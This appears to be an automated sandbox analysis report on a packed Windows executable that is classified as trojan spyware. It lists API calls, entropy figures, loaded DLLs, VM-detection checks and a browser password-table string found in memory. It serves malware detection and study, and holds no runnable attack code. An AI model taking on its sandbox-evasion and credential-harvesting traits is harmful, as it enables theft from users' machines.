Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C43C NtQueryVolumeInformationFile,	0_2_0039C43C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C48C NtLockFile,	0_2_0039C48C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C4EC NtUnlockFile,	0_2_0039C4EC
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C53C NtUnmapViewOfSection,	0_2_0039C53C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C558 NtQuerySection,	0_2_0039C558
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C58C NtMapViewOfSection,	0_2_0039C58C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C5EC NtCreateSection,	0_2_0039C5EC
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C684 NtQueryInformationFile,	0_2_0039C684
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C778 NtOpenFile,	0_2_0039C778
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BB50 NtDeviceIoControlFile,	0_2_0039BB50
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BBB0 NtQueryInformationProcess,	0_2_0039BBB0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BBE4 NtCreateThread,	0_2_0039BBE4
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BC50 NtCreateProcess,	0_2_0039BC50
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BCA0 NtCreateProcessEx,	0_2_0039BCA0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BCF8 NtCreateUserProcess,	0_2_0039BCF8
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BD60 NtOpenKeyEx,	0_2_0039BD60
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BD8C NtSetVolumeInformationFile,	0_2_0039BD8C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BDE0 NtQuerySecurityObject,	0_2_0039BDE0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BE14 NtNotifyChangeDirectoryFile,	0_2_0039BE14
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BE6C NtFsControlFile,	0_2_0039BE6C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BF04 NtAccessCheck,	0_2_0039BF04
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BF74 NtEnumerateValueKey,	0_2_0039BF74
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BF54 NtOpenKey,	0_2_0039BF54
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BFB4 NtQueryKey,	0_2_0039BFB4
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039BFE8 NtQueryValueKey,	0_2_0039BFE8

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Code function: 0_2_003FACA4: CreateFileA,DeviceIoControl,

0_2_003FACA4

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031C375	0_2_0031C375
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F9200	0_2_002F9200
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00311320	0_2_00311320
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031D36D	0_2_0031D36D
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032D8F0	0_2_0032D8F0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032DCA0	0_2_0032DCA0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00305CD6	0_2_00305CD6
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032E550	0_2_0032E550
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00316AA0	0_2_00316AA0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00302B10	0_2_00302B10
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00326CD0	0_2_00326CD0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002FEE72	0_2_002FEE72
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00327010	0_2_00327010
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002FB9F0	0_2_002FB9F0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003C882C	0_2_003C882C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0044880C	0_2_0044880C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0044C8C4	0_2_0044C8C4
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0030C8A0	0_2_0030C8A0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032C890	0_2_0032C890
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032494B	0_2_0032494B
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032C980	0_2_0032C980
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031CA25	0_2_0031CA25
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00318A40	0_2_00318A40
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00318B2F	0_2_00318B2F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00308B09	0_2_00308B09
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003ACBB0	0_2_003ACBB0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032CBC0	0_2_0032CBC0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00454C38	0_2_00454C38
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F4DB0	0_2_002F4DB0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00440E4C	0_2_00440E4C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00384FF0	0_2_00384FF0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00318FDD	0_2_00318FDD
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00319136	0_2_00319136
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0044913C	0_2_0044913C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00305220	0_2_00305220
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0030D38F	0_2_0030D38F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F93F0	0_2_002F93F0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F548B	0_2_002F548B
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00415498	0_2_00415498
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031D6F4	0_2_0031D6F4
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00321700	0_2_00321700
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F5790	0_2_002F5790
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003157D9	0_2_003157D9
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00319830	0_2_00319830
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003058B0	0_2_003058B0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00435958	0_2_00435958
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0041DA18	0_2_0041DA18
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00419AC8	0_2_00419AC8
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00319B75	0_2_00319B75
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F9B90	0_2_002F9B90
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00309DE0	0_2_00309DE0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00325E0A	0_2_00325E0A
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00311E70	0_2_00311E70
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00435E80	0_2_00435E80
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0030DEE0	0_2_0030DEE0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00421EB0	0_2_00421EB0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00315F30	0_2_00315F30
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00329F20	0_2_00329F20
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002FDF60	0_2_002FDF60
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F9FB0	0_2_002F9FB0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032DF80	0_2_0032DF80
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F60D0	0_2_002F60D0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0030E220	0_2_0030E220
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00316220	0_2_00316220
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003FA264	0_2_003FA264
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032E250	0_2_0032E250
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003022F3	0_2_003022F3
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00306324	0_2_00306324
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00442434	0_2_00442434
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031E4D0	0_2_0031E4D0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003265A0	0_2_003265A0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0030E630	0_2_0030E630
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031A620	0_2_0031A620
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003FA600	0_2_003FA600
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0032A660	0_2_0032A660
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F66F0	0_2_002F66F0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003326C9	0_2_003326C9
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031E810	0_2_0031E810
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00326800	0_2_00326800
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0030E9A0	0_2_0030E9A0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0041AA04	0_2_0041AA04
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003FAA40	0_2_003FAA40
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0030EBD0	0_2_0030EBD0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003B6C0C	0_2_003B6C0C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0044ED68	0_2_0044ED68
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F6DB0	0_2_002F6DB0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00316E50	0_2_00316E50
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0042EFF0	0_2_0042EFF0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F2FC0	0_2_002F2FC0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00453048	0_2_00453048
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0044B05C	0_2_0044B05C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0044F01C	0_2_0044F01C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00307229	0_2_00307229
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F7260	0_2_002F7260
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031F3DB	0_2_0031F3DB
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002FB4D0	0_2_002FB4D0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00313598	0_2_00313598
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0033383F	0_2_0033383F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031786C	0_2_0031786C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0033388B	0_2_0033388B
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003138D0	0_2_003138D0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0038F97C	0_2_0038F97C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00327940	0_2_00327940
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F39C0	0_2_002F39C0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031BA8B	0_2_0031BA8B
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003F7AC8	0_2_003F7AC8
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00313BA0	0_2_00313BA0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00317B83	0_2_00317B83
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003D7C28	0_2_003D7C28
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00313D10	0_2_00313D10
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_002F7D70	0_2_002F7D70
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003F7D94	0_2_003F7D94
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0030FE50	0_2_0030FE50
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_004AFF40	0_2_004AFF40
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003F7F24	0_2_003F7F24
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00307F07	0_2_00307F07
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0031FF40	0_2_0031FF40

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: String function: 00305210 appears 56 times
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: String function: 0034DD9C appears 123 times
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: String function: 002F88E0 appears 37 times

Source: tyhkamwdmrg.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: tyhkamwdmrg.exe	Static PE information: Section: ZLIB complexity 0.997589595734127
Source: tyhkamwdmrg.exe	Static PE information: Section: ZLIB complexity 0.9899553571428571
Source: tyhkamwdmrg.exe	Static PE information: Section: ZLIB complexity 0.9961751302083334
Source: tyhkamwdmrg.exe	Static PE information: Section: .data ZLIB complexity 0.9972140812431843

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/2

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tyhkamwdmrg.exe, 00000000.00000003.1758680740.00000000042E1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: tyhkamwdmrg.exe	ReversingLabs: Detection: 52%
Source: tyhkamwdmrg.exe	Virustotal: Detection: 43%

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

File read: C:\Users\user\Desktop\tyhkamwdmrg.exe

Jump to behavior

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: tyhkamwdmrg.exe

Static file information: File size 1272832 > 1048576

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Unpacked PE file: 0.2.tyhkamwdmrg.exe.2f0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;Unknown_Section5:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;Unknown_Section5:EW;.data:EW;

Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003E99C4 push 003E9A51h; ret	0_2_003E9A49
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00358054 push 00358080h; ret	0_2_00358078
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0038C0BC push 0038C0E8h; ret	0_2_0038C0E0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003F40FC push 003F4134h; ret	0_2_003F412C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0038C0F4 push 0038C120h; ret	0_2_0038C118
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0042C124 push 0042C150h; ret	0_2_0042C148
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003C4194 push 003C41C0h; ret	0_2_003C41B8
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00390194 push 003901CCh; ret	0_2_003901C4
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003B0290 push 003B02C3h; ret	0_2_003B02BB
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003B02F0 push 003B031Ch; ret	0_2_003B0314
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003B033C push 003B0388h; ret	0_2_003B0380
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003603A0 push 00360400h; ret	0_2_003603F8
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003F8394 push 003F83C0h; ret	0_2_003F83B8
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003B0394 push 003B03DFh; ret	0_2_003B03D7
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0044841C push 0044845Ah; ret	0_2_00448452
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_004B4548 push 004B457Bh; ret	0_2_004B4573
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00360578 push 003605A4h; ret	0_2_0036059C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003D055C push 003D05B6h; ret	0_2_003D05AE
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00360664 push ecx; mov dword ptr [esp], ecx	0_2_00360667
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00360684 push ecx; mov dword ptr [esp], ecx	0_2_00360687
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003D86DC push 003D8747h; ret	0_2_003D873F
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003F8730 push 003F875Ch; ret	0_2_003F8754
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0040C76C push 0040C7AFh; ret	0_2_0040C7A7
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00448710 push 0044873Ch; ret	0_2_00448734
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003F8768 push 003F8794h; ret	0_2_003F878C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039086C push 0039089Fh; ret	0_2_00390897
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003FC890 push 003FC8BCh; ret	0_2_003FC8B4
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_003608F4 push ecx; mov dword ptr [esp], ecx	0_2_003608F6
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00434888 push 004348C6h; ret	0_2_004348BE
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_004B48B4 push 004B48DAh; ret	0_2_004B48D2
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_00408954 push 004089F0h; ret	0_2_004089E8

Source: tyhkamwdmrg.exe	Static PE information: section name: entropy: 7.997242368473124
Source: tyhkamwdmrg.exe	Static PE information: section name: entropy: 7.898656126844285
Source: tyhkamwdmrg.exe	Static PE information: section name: entropy: 7.977603490688354
Source: tyhkamwdmrg.exe	Static PE information: section name: entropy: 7.933538071772522
Source: tyhkamwdmrg.exe	Static PE information: section name: .data entropy: 7.985169205338615

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe TID: 6464	Thread sleep count: 339 > 30	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe TID: 6588	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe TID: 6592	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe TID: 6592	Thread sleep time: -35000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe TID: 6612	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe TID: 6612	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Code function: 0_2_00374490 FindFirstFileW,

0_2_00374490

Source: tyhkamwdmrg.exe, 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: tyhkamwdmrg.exe, 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
